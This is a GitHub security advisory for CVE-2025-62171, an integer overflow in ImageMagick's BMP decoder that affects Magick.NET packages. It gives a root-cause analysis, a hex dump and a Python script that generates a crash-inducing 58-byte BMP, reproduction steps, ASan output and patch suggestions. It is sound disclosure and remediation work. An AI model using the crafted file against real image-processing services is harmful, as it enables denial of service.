CVE-2025-62171: Magick.NET Q16 AnyCPU ImageMagick Has Integer Overflow Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9pp9-cfwx-54rm",
  "modified" : "2025-11-03T18:31:46Z",
  "published" : "2025-10-28T14:43:20Z",
  "aliases" : [ "CVE-2025-62171" ],
  "summary" : "ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)",
  "details" : "## Summary\n\nCVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack.\n\nThe patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.\n\n**Affected Versions:**\n- ImageMagick < 7.1.2-2 (originally reported)\n- **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)**\n\n**Platform and Configuration Requirements:**\n- 32-bit systems ONLY (i386, i686, armv7l, etc.)\n- Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes))\n- Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**).\n\n---\n\n## Details(Root Cause Analysis)\n\n### Vulnerable Code Location\n\n**File:** `coders/bmp.c`  \n**Lines:** 1120-1122 (in version 7.1.2-5)\n\n### The Incomplete Patch\n\n```c\n// Line 1120: Integer overflow happens HERE\nextent = image->columns * bmp_info.bits_per_pixel;  // OVERFLOW!\n\n// Line 1121: Uses already-overflowed value\nbytes_per_line = 4*((extent+31)/32);\n\n// Line 1122: Checks the RESULT, not the multiplication\nif (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Why the Patch Fails\n\n**Attack Vector (32-bit system):**\n```\nInput BMP Header:\n  Width: 536,870,912 (0x20000000)\n  Height: 1\n  Bits Per Pixel: 32\n\nCalculation on 32-bit system:\n  extent = 536,870,912 × 32\n         = 17,179,869,184 (0x400000000)\n         \n  32-bit truncation:\n  0x400000000 & 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!\n  \n  bytes_per_line = 4 × ((0 + 31) / 32)\n                 = 4 × 0\n                 = 0\n  \n  BMPOverflowCheck(0, 1):\n    return (1 != 0) && (0 > 4294967295UL/1)\n    return True && (0 > 4294967295)\n    return True && False\n    return False  ← Does NOT detect overflow!\n```\n\n**The check fails because:**\n1. The overflow happens at Line 1120 (extent calculation)\n2. `extent` becomes 0 due to 32-bit truncation\n3. `bytes_per_line` is calculated as 0 (Line 1121)\n4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected)\n5. Code proceeds with corrupted values → ASan crash\n\n---\n\n## PoC(Proof of Concept)\n\n### Minimal 58-byte BMP File\n\n**Hex dump:**\n```\n00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|\n00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|\n00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00                    |..........|\n```\n\n**Key Fields:**\n- Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912)\n- Offset 0x16: Height = `01 00 00 00` = 1\n- Offset 0x1C: BPP = `20 00` = 32\n\n### Python Generator\n\n```python\n#!/usr/bin/env python3\nimport struct\n\nwidth = 0x20000000   # 536,870,912\nheight = 1\nbpp = 32\n\n# BMP File Header (14 bytes)\nfile_header = b'BM'\nfile_header += struct.pack('<I', 58)      # File size\nfile_header += struct.pack('<HH', 0, 0)   # Reserved\nfile_header += struct.pack('<I', 54)      # Pixel offset\n\n# DIB Header (40 bytes)\ndib_header = struct.pack('<I', 40)        # Header size\ndib_header += struct.pack('<i', width)    # Width\ndib_header += struct.pack('<i', height)   # Height\ndib_header += struct.pack('<H', 1)        # Planes\ndib_header += struct.pack('<H', bpp)      # BPP\ndib_header += struct.pack('<I', 0)        # Compression\ndib_header += struct.pack('<I', 0)        # Image size\ndib_header += struct.pack('<i', 2835)     # X ppm\ndib_header += struct.pack('<i', 2835)     # Y ppm\ndib_header += struct.pack('<I', 0)        # Colors\ndib_header += struct.pack('<I', 0)        # Important colors\n\npixel_data = b'\\x00\\x00\\x00\\x00'\n\nwith open('overflow.bmp', 'wb') as f:\n    f.write(file_header + dib_header + pixel_data)\n\nprint(f\"Created overflow.bmp (58 bytes)\")\n```\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n```bash\n# Use 32-bit Docker container\ndocker run -it --name test-32bit i386/ubuntu:latest bash\n\n# Install dependencies\napt-get update\napt-get install -y clang build-essential wget tar \\\n    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \\\n    zlib1g-dev liblzma-dev libbz2-dev\n\n# Download ImageMagick 7.1.2-5\ncd /tmp\nwget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz\ntar xzf 7.1.2-5.tar.gz\ncd ImageMagick-7.1.2-5\n```\n\n### Build with AddressSanitizer (32-bit IMPORTANT!)\n\n```bash\n# Configure for 32-bit build (CRITICAL - must be 32-bit!)\n./configure \\\n    --host=i686-pc-linux-gnu \\\n    --disable-dependency-tracking \\\n    --disable-silent-rules \\\n    --disable-shared \\\n    --disable-openmp \\\n    --disable-docs \\\n    --without-x \\\n    --without-perl \\\n    --without-magick-plus-plus \\\n    --without-lqr \\\n    --without-zstd \\\n    --without-tiff \\\n    --with-quantum-depth=8 \\\n    --disable-hdri \\\n    CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j$(nproc)\n\n### Trigger the Vulnerability\n\n```bash\n# Set environment to bypass cache.c limits\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1\"\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n\n# Test with malicious BMP (use Python script above to create it)\n./utilities/magick identify overflow.bmp\n```\n\n---\n\n## AddressSanitizer Output\n\n```\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 \n\"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)\" (0x0, 0x0)\n=================================================================\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 \n\"((0 && \"Address is not in memory and not in shadow?\")) != (0)\" (0x0, 0x0)\n==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: \nstack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)\nFalse positive error reports may follow\nFor details see https://github.com/google/sanitizers/issues/189\n```\n\nIt operates in the following environments.\n\n```\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n```\n\n## Impact\n\n### Attack Scenario\n\n1. Attacker creates a 58-byte malicious BMP file\n2. Uploads to web service that uses ImageMagick (on 32-bit system)\n3. ImageMagick attempts to process the image\n4. Integer overflow triggers AddressSanitizer crash\n5. Service becomes unavailable (Denial of Service)\n\n**Real-world targets:**\n- Web hosting platforms with image processing\n- CDN services with thumbnail generation\n- Legacy embedded systems\n- IoT devices running 32-bit Linux\n- Docker containers using 32-bit base images\n\n---\n\n## Recommended Fix\n\n### Correct Patch\n\nThe overflow check must happen **before** the multiplication:\n\n```c\n// Add overflow check BEFORE calculating extent\nif (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"IntegerOverflowInDimensions\");\n\n// Now safe to calculate\nextent = image->columns * bmp_info.bits_per_pixel;\nbytes_per_line = 4*((extent+31)/32);\n\n// Additional safety check\nif (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Alternative: Use 64-bit Arithmetic\n\n```c\n// Force 64-bit calculation\nuint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;\n\nif (extent_64 > UINT32_MAX)\n    ThrowReaderException(CorruptImageError, \"ImageDimensionsTooLarge\");\n\nextent = (size_t)extent_64;\nbytes_per_line = 4*((extent+31)/32);\n```\n\n### Credits\nwooseokdotkim\nwooseokdotkim@gmail.com",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Magick.NET-Q16-AnyCPU"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "14.9.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Magick.NET-Q16-HDRI-AnyCPU"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "14.9.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Magick.NET-Q16-HDRI-x86"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "14.9.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Magick.NET-Q16-x86"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "14.9.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Magick.NET-Q8-AnyCPU"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "14.9.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Magick.NET-Q8-x86"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "14.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9pp9-cfwx-54rm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-62171"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ImageMagick/ImageMagick/commit/cea1693e2ded51b4cc91c70c54096cbed1691c00"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ImageMagick/ImageMagick"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dlemstra/Magick.NET/releases/tag/14.9.0"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2025/10/msg00019.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-190" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-28T14:43:20Z",
    "nvd_published_at" : "2025-10-17T17:15:49Z"
  }
}